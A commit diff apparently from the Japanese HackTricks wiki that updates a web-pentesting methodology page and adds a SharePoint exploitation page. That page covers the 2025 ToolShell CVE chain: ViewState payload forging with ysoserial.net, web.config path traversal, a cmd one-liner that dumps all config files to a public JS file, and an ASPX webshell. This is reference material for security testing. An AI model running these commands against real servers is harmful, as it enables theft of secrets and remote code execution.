Translated ['src/network-services-pentesting/pentesting-web/README.md',

This commit is contained in:
Translator 2025-07-22 14:14:43 +00:00
parent 8fe3ca19df
commit c2a9437f3c
3 changed files with 176 additions and 48 deletions

View File

@ -423,6 +423,7 @@
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)
- [JSP](network-services-pentesting/pentesting-web/jsp.md)
- [Laravel](network-services-pentesting/pentesting-web/laravel.md)
- [Microsoft Sharepoint](network-services-pentesting/pentesting-web/microsoft-sharepoint.md)
- [Moodle](network-services-pentesting/pentesting-web/moodle.md)
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)

View File

@ -25,20 +25,20 @@ web-api-pentesting.md
## Methodology summary
> この方法論では、あなたがドメイン(またはサブドメイン)を攻撃することを前提としています。そのため、発見された各ドメイン、サブドメイン、または範囲内の不明なウェブサーバーを持つIPにこの方法論を適用する必要があります。
> この方法論では、あなたがドメインまたはサブドメインを攻撃することを前提としています。そのため、発見された各ドメイン、サブドメイン、または不明なウェブサーバーを持つIPにこの方法論を適用する必要があります。
- [ ] **技術**を**特定**することから始めます。ウェブサーバーによって使用されている**技術**を特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。
- [ ] **技術**を**特定**することから始めます。技術を特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。
- [ ] 技術のバージョンに**既知の脆弱性**はありますか?
- [ ] **よく知られた技術**を使用していますか?より多くの情報を抽出するための**便利なトリック**はありますか?
- [ ] 実行するための**専門のスキャナー**はありますか例えば、wpscan
- [ ] **一般的なスキャナー**を起動します。何かを見つけるか、興味深い情報を見つけるかはわかりません。
- [ ] **初期チェック**から始めます:**robots**、**sitemap**、**404**エラー、**SSL/TLSスキャン**HTTPSの場合
- [ ] ウェブページを**スパイダー**します:すべての可能な**ファイル、フォルダー**、および**使用されているパラメータ**を**見つける**時間です。また、**特別な発見**を確認します。
- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずスパイダーする必要があります。_
- [ ] **初期チェック**を開始します:**robots**、**sitemap**、**404**エラー、**SSL/TLSスキャン**HTTPSの場合
- [ ] ウェブページの**スパイダー**を開始します:すべての可能な**ファイル、フォルダー**、および**使用されているパラメータ**を**見つける**時間です。また、**特別な発見**を確認します。
- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見されるたびに、それをスパイダーする必要があります。_
- [ ] **ディレクトリブルートフォース**:発見されたすべてのフォルダーをブルートフォースして、新しい**ファイル**や**ディレクトリ**を探します。
- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずブルートフォースする必要があります。_
- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見されるたびに、それをブルートフォースする必要があります。_
- [ ] **バックアップの確認**:一般的なバックアップ拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけられるかテストします。
- [ ] **パラメータのブルートフォース****隠れたパラメータ**を**見つける**ことを試みます。
- [ ] **パラメータのブルートフォース****隠れたパラメータ**を**見つける**ことを試みます。
- [ ] **ユーザー入力**を受け入れるすべての可能な**エンドポイント**を**特定**したら、それに関連するすべての種類の**脆弱性**を確認します。
- [ ] [このチェックリストに従ってください](../../pentesting-web/web-vulnerabilities-methodology.md)
@ -47,7 +47,7 @@ web-api-pentesting.md
### Identify
実行中のサーバー**バージョン**に**既知の脆弱性**があるか確認します。\
**HTTPヘッダーとレスポンスのクッキー**は、使用されている**技術**や**バージョン**を**特定**するのに非常に役立ちます。**Nmapスキャン**はサーバーバージョンを特定できますが、ツール[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、** [**webtech** ](https://github.com/ShielderSec/webtech)または[**https://builtwith.com/**](https://builtwith.com)**も役立ちます
**HTTPヘッダーとレスポンスのクッキー**は、使用されている**技術**や**バージョン**を**特定**するのに非常に役立ちます。**Nmapスキャン**はサーバーバージョンを特定できますが、[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、** [**webtech** ](https://github.com/ShielderSec/webtech)または [**https://builtwith.com/**](https://builtwith.com)**のツールも役立つかもしれません
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
@ -78,6 +78,7 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**GraphQL**](graphql.md)
- [**H2 - Java SQL database**](h2-java-sql-database.md)
- [**IIS tricks**](iis-internet-information-services.md)
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
- [**JBOSS**](jboss.md)
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
- [**Jira**](jira.md)
@ -98,19 +99,19 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_同じドメインが異なる**ポート**、**フォルダ**、および**サブドメイン**で**異なる技術**を使用している可能性があることに注意してください。_\
ウェブアプリケーションが前述の**技術/プラットフォーム**や**その他の技術**を使用している場合は、**インターネットで新しいトリックを検索する**ことを忘れないでください(そして教えてください!)。
_同じドメインが異なる**ポート**、**フォルダ**、および**サブドメイン**で異なる**技術**を使用している可能性があることを考慮してください。_\
ウェブアプリケーションが前述のよく知られた**技術/プラットフォーム**または**その他の技術**を使用している場合は、**インターネットで新しいトリックを検索する**ことを忘れないでください(そして私に知らせてください!)。
### Source Code Review
アプリケーションの**ソースコード**が**github**で利用可能な場合、アプリケーションの**ホワイトボックステスト**を自分で実施することに加えて、現在の**ブラックボックステスト**に役立つ**情報**がいくつかあります:
- **Change-log**や**Readme**、**Version**ファイル、または**バージョン情報にアクセス可能な**ものはありますか?
- **認証情報**はどのように、どこに保存されていますか? **認証情報**(ユーザー名やパスワード)が含まれる(アクセス可能な?)**ファイル**はありますか?
- **パスワード**は**プレーンテキスト**、**暗号化**されていますか、それともどの**ハッシュアルゴリズム**が使用されていますか?
- **資格情報**はどのように、どこに保存されていますか?資格情報(ユーザー名やパスワード)が含まれる(アクセス可能な?)**ファイル**はありますか?
- **パスワード**は**平文**、**暗号化**されていますか、それともどの**ハッシュアルゴリズム**が使用されていますか?
- 何かを暗号化するために**マスターキー**を使用していますか?どの**アルゴリズム**が使用されていますか?
- いくつかの脆弱性を悪用して**これらのファイルにアクセス**できますか?
- **github**に**興味深い情報**(解決済みおよび未解決の)**問題**はありますか? または**コミット履歴**に(古いコミット内に**導入されたパスワード**など
- 脆弱性を悪用してこれらのファイルのいずれか**アクセス**できますか?
- **github**に**興味深い情報**(解決済みおよび未解決の)**問題**はありますか?または**コミット履歴**に(古いコミット内に**導入されたパスワード**があるかもしれません
{{#ref}}
code-review-tools.md
@ -132,7 +133,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMSスキャナー
CMSが使用されている場合は、**スキャナーを実行する**ことを忘れないでください。もしかしたら何か興味深いものが見つかるかもしれません:
CMSが使用されている場合は、**スキャナーを実行する**ことを忘れないでください。何か興味深いものが見つかるかもしれません:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** ウェブサイトのセキュリティ問題。(GUI)\
@ -145,7 +146,7 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> この時点で、クライアントが使用しているウェブサーバーに関する情報(データが提供されている場合)や、テスト中に考慮すべきいくつかのトリックを持っているはずです。運が良ければ、CMSを見つけてスキャナーを実行したかもしれません。
> この時点で、クライアントが使用しているウェブサーバーに関する情報(もしデータが提供されていれば)や、テスト中に留意すべきいくつかのトリックを持っているはずです。運が良ければ、CMSを見つけてスキャナーを実行したかもしれません。
## ステップバイステップのウェブアプリケーション発見
@ -164,23 +165,23 @@ joomlavs.rb #https://github.com/rastating/joomlavs
**エラーの強制**
ウェブサーバーは、奇妙なデータが送信されると**予期しない動作**をすることがあります。これにより、**脆弱性**や**機密情報の漏洩**が発生する可能性があります。
ウェブサーバーは、奇妙なデータが送信されると**予期しない動作**をすることがあります。これにより、**脆弱性**や**機密情報の開示**が発生する可能性があります。
- /whatever_fake.php (.aspx,.html,.etc)のような**偽ページ**にアクセスする
- /whatever_fake.php.aspx、.html、などのような**偽ページ**にアクセスする
- **クッキー値**や**パラメータ**値に**"\[]", "]]", および "\[\["**を追加してエラーを作成する
- **URL**の**最後**に**`/~randomthing/%s`**として入力を与えてエラーを生成する
- PATCH、DEBUG、またはFAKEのような**異なるHTTP動詞**を試す
#### **ファイルをアップロードできるか確認する(**[**PUT動詞, WebDav**](put-method-webdav.md)****
#### **ファイルをアップロードできるか確認する(**[**PUT動詞WebDav**](put-method-webdav.md)****
**WebDav**が**有効**であるが、ルートフォルダーに**ファイルをアップロードする**ための十分な権限がない場合は、次のことを試みてください:
- **ブルートフォース**認証情報
- ウェブページ内の**見つかったフォルダー**の**残り**にWebDavを介して**ファイルをアップロードする**。他のフォルダーにファイルをアップロードする権限があるかもしれません。
- ウェブページ内の**見つかったフォルダー**にWebDav経由で**ファイルをアップロード**する。他のフォルダーにファイルをアップロードする権限があるかもしれません。
### **SSL/TLSの脆弱性**
- アプリケーションがどの部分でも**HTTPSの使用を強制していない**場合、**MitM**に対して**脆弱**です。
- アプリケーションがどの部分でも**HTTPSの使用を強制していない**場合、**MitMに対して脆弱**です。
- アプリケーションが**HTTPを使用して機密データパスワードを送信している**場合、これは高い脆弱性です。
[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックし(バグバウンティプログラムではこの種の脆弱性は受け入れられない可能性があります)、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再確認してください:
@ -202,40 +203,40 @@ SSL/TLSの脆弱性に関する情報:
ウェブ内で何らかの**スパイダー**を起動します。スパイダーの目的は、テストされたアプリケーションから**できるだけ多くのパスを見つけること**です。したがって、ウェブクロールと外部ソースを使用して、できるだけ多くの有効なパスを見つける必要があります。
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTMLスパイダー、JSファイル内のLinkFinderおよび外部ソースArchive.org、CommonCrawl.org、VirusTotal.com、AlienVault.com
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HMLスパイダー、JSファイル用のLinkFinderおよび外部ソースとしてArchive.orgを使用
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HMLスパイダー、JSファイル用のLinkFinderおよび外部ソースとしてArchive.org。
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTMLスパイダー、「おいしいファイル」も示します。
- [**evine** ](https://github.com/saeeddhqan/evine)(go): インタラクティブCLI HTMLスパイダー。Archive.orgも検索します。
- [**evine** ](https://github.com/saeeddhqan/evine)(go): インタラクティブCLI HTMLスパイダー。Archive.orgも検索します。
- [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、有用です。ホストのファイルとパスのファイルを指定すると、megは各ホストの各パスを取得し、応答を保存します。
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JSレンダリング機能を持つHTMLスパイダー。ただし、メンテナンスされていないようで、事前コンパイルされたバージョンは古く、現在のコードはコンパイルされません。
- [**gau**](https://github.com/lc/gau) (go): 外部プロバイダーwayback、otx、commoncrawlを使用するHTMLスパイダー。
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトはパラメータを持つURLを見つけてリストします。
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトはパラメータを持つURLを見つけてリストします。
- [**galer**](https://github.com/dwisiswant0/galer) (go): JSレンダリング機能を持つHTMLスパイダー。
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTMLスパイダー、JSファイル内の新しいパスを検索できるJSビューティファイ機能を持っています。LinkFinderのラッパーである[JSScanner](https://github.com/dark-warlord14/JSScanner)も見る価値があります。
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込まれたJavaScriptファイルの両方からエンドポイントを抽出します。バグハンター、レッドチーム、インフォセキュリティの忍者に便利です。
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): TornadoとJSBeautifierを使用してJavaScriptファイルから相対URLを解析するPython 2.7スクリプト。AJAXリクエストを簡単に発見するのに便利です。メンテナンスされていないようです。
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイルHTMLを与えると、巧妙な正規表現を使用して、醜い(ミニファイされた)ファイルから相対URLを見つけて抽出します。
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイルHTMLを与えると、巧妙な正規表現を使用して相対URLを見つけて抽出します。
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、いくつかのツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します。
- [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます。
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページを読み込むためにロードされたすべてのURLを印刷します。
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページを読み込むために読み込まれたすべてのURLを印刷します。
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 以前のツールのいくつかのオプションを組み合わせたコンテンツ発見ツール。
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイル内のパスとパラメータを見つけるためのBurp拡張機能。
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを与えると、ビューティファイドJSコードを取得するツール
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを与えると、ビューティファイドJSコードを取得します。
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 特定のターゲットのエンドポイントを発見するために使用されるツールです。
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Waybackマシンからリンクを発見します応答をダウンロードし、さらにリンクを探します
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームを埋めることによるクロールや、特定の正規表現を使用して機密情報を見つけます。
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suiteは、サイバーセキュリティ専門家向けに設計された高度なマルチ機能GUIウェブセキュリティクローラー/スパイダーです。
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL、パス、シークレット、その他の興味深いデータをJavaScriptソースコードから抽出するためのGoパッケージおよび[コマンドラインツール](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)です。
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForgeは、リクエストからパラメータとエンドポイントを抽出し、ファジングと列挙のためのカスタムワードリストを作成するためのシンプルな**Burp Suite拡張機能**です。
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForgeは、リクエストからパラメータとエンドポイントを抽出しカスタムワードリストを作成するためのシンプルな**Burp Suite拡張機能**です。
- [**katana**](https://github.com/projectdiscovery/katana) (go): これに最適な素晴らしいツールです。
- [**Crawley**](https://github.com/s0rg/crawley) (go): 見つけすべてのリンクを印刷します。
- [**Crawley**](https://github.com/s0rg/crawley) (go): 見つけられるすべてのリンクを印刷します。
### ディレクトリとファイルのブルートフォース
ルートフォルダから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースすることを確認してください(このブルートフォースは**再帰的に**行うことができ、使用するワードリストの先頭に見つかったディレクトリの名前を追加します)。\
ルートフォルダから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースすることを確認してください(このブルートフォースは**再帰的に**行うことができ、使用するワードリストの先頭に見つかったディレクトリの名前を追加します)。\
ツール:
- **Dirb** / **Dirbuster** - Kaliに含まれており、**古い**(および**遅い**)ですが機能します。自己署名証明書と再帰検索を許可します。他のオプションと比較して遅すぎます。
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書は許可されていませんが**再帰検索を許可します。
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書は許可されていませんが**再帰検索を許可します。
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可し、**再帰的**検索はありません。
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速、再帰検索をサポートします。**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
@ -268,37 +269,37 @@ _ブルートフォースやスパイダーリング中に新しいディレク
### 見つかった各ファイルで確認すべきこと
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 乗っ取りの危険があるHTML内の壊れたリンクを見つけます
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML内の壊れたリンクを見つけ、乗っ取りの危険があるかもしれません
- **ファイルバックアップ**: すべてのファイルを見つけたら、すべての実行可能ファイル("_.php_", "_.aspx_"...)のバックアップを探します。バックアップの命名に一般的なバリエーションは次のとおりです: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmpおよびfile.old._ また、[**bfac**](https://github.com/mazen160/bfac) **または** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**を使用できます。**
- **新しいパラメータを発見**: [**Arjun**](https://github.com/s0md3v/Arjun)**、** [**parameth**](https://github.com/maK-/parameth)**、** [**x8**](https://github.com/sh1yo/x8) **および** [**Param Miner**](https://github.com/PortSwigger/param-miner) **を使用して隠れたパラメータを発見できます。可能であれば、各実行可能ウェブファイルで隠れたパラメータを検索してみてください。**
- **新しいパラメータを発見する**: [**Arjun**](https://github.com/s0md3v/Arjun)**、** [**parameth**](https://github.com/maK-/parameth)**、** [**x8**](https://github.com/sh1yo/x8) **および** [**Param Miner**](https://github.com/PortSwigger/param-miner) **を使用して隠れたパラメータを発見できます。可能であれば、各実行可能ウェブファイルで隠れたパラメータを検索してみてください。**
- _Arjunのすべてのデフォルトワードリスト:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **コメント:** すべてのファイルのコメントを確認してください。**認証情報**や**隠れた機能**を見つけることができます
- **コメント:** すべてのファイルのコメントを確認してください。**認証情報**や**隠れた機能**が見つかるかもしれません
- **CTF**をプレイしている場合、「一般的な」トリックは、ページの**右側**に**情報**を**隠す**ことです(**数百**の**スペース**を使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。もう一つの可能性は、**いくつかの新しい行**を使用して、ウェブページの**下部**にコメントで**情報を隠す**ことです。
- **APIキー**: **APIキー**を見つけた場合、さまざまなプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、** [**zile**](https://github.com/xyele/zile.git)**、** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**、** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google APIキー: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjikのようなAPIキーを見つけた場合、プロジェクト[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を使用して、キーがアクセスできるAPIを確認できます。
- **S3バケット**: スパイダーリング中に、**サブドメイン**や**リンク**が**S3バケット**に関連しているかどうかを確認してください。その場合、[**バケットの**権限を**確認**してください](buckets/index.html)。
- **S3バケット**: スパイダーリング中に、**サブドメイン**や**リンク**が**S3バケット**に関連しているかどうかを確認してください。その場合、[**バケットの** **権限**を**確認**](buckets/index.html)してください
### 特別な発見
**スパイダーリング**と**ブルートフォース**を実行している間に、**興味深い****もの**を**見つける**ことができます。
**スパイダーリング**と**ブルートフォース**を実行している間に、**興味深い****もの**を**見つける**ことがあります。
**興味深いファイル**
- **CSS**ファイル内の他のファイルへの**リンク**を探します。
- [**.git**ファイルを見つけた場合、いくつかの情報を抽出できます](git.md)
- **.env**を見つけた場合、APIキー、DBパスワードなどの情報が見つかる可能性があります
- **APIエンドポイント**を見つけた場合、[それらテストする必要があります](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように見える」でしょう。
- **JSファイル**: スパイダーリングセクションでは、JSファイルからパスを抽出できるいくつかのツールが言及されました。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、変更があった場合、潜在的な脆弱性がコードに導入されたことを示す可能性があるからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。**
- 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)または[**JSHole**](https://github.com/callforpapers-source/jshole)で確認して、脆弱性があるかどうかを確認する必要があります
- **.env**を見つけた場合、APIキー、DBパスワードなどの情報が見つかるかもしれません
- **APIエンドポイント**を見つけた場合、[それらテストする必要があります](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように見える」でしょう。
- **JSファイル**: スパイダーリングセクションでは、JSファイルからパスを抽出できるいくつかのツールが言及されました。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、場合によっては、変更がコードに潜在的な脆弱性が導入されたことを示すかもしれないからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。**
- 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)または[**JSHole**](https://github.com/callforpapers-source/jshole)で確認して、脆弱性があるかどうかを確認してください
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/)、[https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io)、[http://jsnice.org/](http://jsnice.org)
- **JsFuckのデオブフスケーション**文字でのjavascript:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- **JsFuckのデオブフスケーション** (文字でのjavascript:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- いくつかの場面で、使用されている**正規表現**を**理解する**必要があります。これは役立ちます: [https://regex101.com/](https://regex101.com) または [https://pythonium.net/regex](https://pythonium.net/regex)
- **フォームが検出されたファイルを監視する**こともできます。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示す可能性があります
- **フォームが検出されたファイルを監視する**こともできます。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示すかもしれません
**403 Forbidden/Basic Authentication/401 Unauthorized (バイパス)**
@ -314,15 +315,15 @@ _ブルートフォースやスパイダーリング中に新しいディレク
認証を要求しているサーバーが**Windows**であるか、**資格情報**を要求するログインを見つけた場合(**ドメイン名**を要求する場合)、**情報漏洩**を引き起こすことができます。\
**ヘッダーを送信します**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` そして、**NTLM認証の動作**により、サーバーは内部情報IISバージョン、Windowsバージョン...を「WWW-Authenticate」ヘッダー内で応答します。\
この操作は、**nmapプラグイン**"_http-ntlm-info.nse_"を使用して**自動化**できます。
このプロセスを**自動化**するには、**nmapプラグイン**"_http-ntlm-info.nse_"を使用できます。
**HTTPリダイレクト (CTF)**
**リダイレクション**内に**コンテンツ**を**挿入**することが可能です。このコンテンツは**ユーザーに表示されません**(ブラウザがリダイレクションを実行するため)が、何かが**隠されている**可能性があります
**リダイレクション**内に**コンテンツ**を**挿入する**ことが可能です。このコンテンツは**ユーザーに表示されません**(ブラウザがリダイレクションを実行するため)が、そこに**隠されている**ものがあるかもしれません
### ウェブ脆弱性のチェック
ウェブアプリケーションの包括的な列挙が行われたので、さまざまな脆弱性をチェックする時が来ました。チェックリストはここにあります:
ウェブアプリケーションの包括的な列挙が行われたので、多くの可能性のある脆弱性をチェックする時が来ました。チェックリストはここにあります:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
@ -334,9 +335,9 @@ _ブルートフォースやスパイダーリング中に新しいディレク
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
### ページの変更を監視
### ページの変更を監視する
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)のようなツールを使用して、脆弱性を挿入する可能性のある変更を監視できます。
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)のようなツールを使用して、脆弱性を挿入する可能性のある変更を監視することができます。
### HackTricks自動コマンド
```

View File

@ -0,0 +1,126 @@
# Microsoft SharePoint Pentesting & Exploitation
{{#include ../../banners/hacktricks-training.md}}
> Microsoft SharePoint (オンプレミス) は ASP.NET/IIS の上に構築されています。したがって、従来のウェブ攻撃面ViewState、Web.Config、ウェブシェルなどが存在しますが、SharePoint には数百の独自の ASPX ページとウェブサービスが付属しており、露出した攻撃面が大幅に拡大します。このページでは、Unit42 によって公開された 2025 年のエクスプロイトチェーンCVE-2025-49704/49706/53770/53771に重点を置いて、SharePoint 環境内での列挙、エクスプロイト、および持続性を確保するための実用的なトリックを集めています。
## 1. Quick enumeration
```
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
```
## 2. 2025 エクスプロイトチェーン (別名: “ToolShell”)
### 2.1 CVE-2025-49704 ToolPane.aspx におけるコードインジェクション
`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` は、任意の *Server-Side Include* コードをページにインジェクトすることを可能にし、後に ASP.NET によってコンパイルされます。攻撃者は `Process.Start()` を実行する C# を埋め込み、悪意のある ViewState をドロップできます。
### 2.2 CVE-2025-49706 不適切な認証バイパス
同じページは、サイトコンテキストを決定するために **X-Forms_BaseUrl** ヘッダーを信頼します。これを `/_layouts/15/` に向けることで、ルートサイトで強制される MFA/SSO を **未認証** でバイパスできます。
### 2.3 CVE-2025-53770 未認証の ViewState デシリアライズ → RCE
攻撃者が `ToolPane.aspx` 内のガジェットを制御すると、**署名されていない** (または MAC のみ) `__VIEWSTATE` 値を投稿でき、これが *w3wp.exe* 内で .NET デシリアライズを引き起こし、コード実行につながります。
署名が有効な場合は、任意の `web.config` から **ValidationKey/DecryptionKey** を盗み、*ysoserial.net* または *ysodom* を使用してペイロードを偽造します。
```
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
```
For an in-depth explanation on abusing ASP.NET ViewState read:
{{#ref}}
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
{{#endref}}
### 2.4 CVE-2025-53771 パス・トラバーサル / web.config 開示
`ToolPane.aspx` に細工された `Source` パラメータを送信することで (例: `../../../../web.config`)、ターゲットファイルが返され、以下の情報が漏洩します:
* `<machineKey validationKey="…" decryptionKey="…">` ➜ ViewState / ASPXAUTH クッキーを偽造
* 接続文字列と秘密情報。
## 3. 実際に観察されたポストエクスプロイトレシピ
### 3.1 すべての *.config* ファイルを抽出する (バリエーション-1)
```
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
```
結果として得られる `debug_dev.js` は匿名でダウンロードでき、**すべての** 機密設定が含まれています。
### 3.2 Base64エンコードされたASPXウェブシェルをデプロイするバリエーション-2
```
powershell.exe -EncodedCommand <base64>
```
デコードされたペイロードの例(短縮版):
```csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
```
書かれた対象:
```
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
```
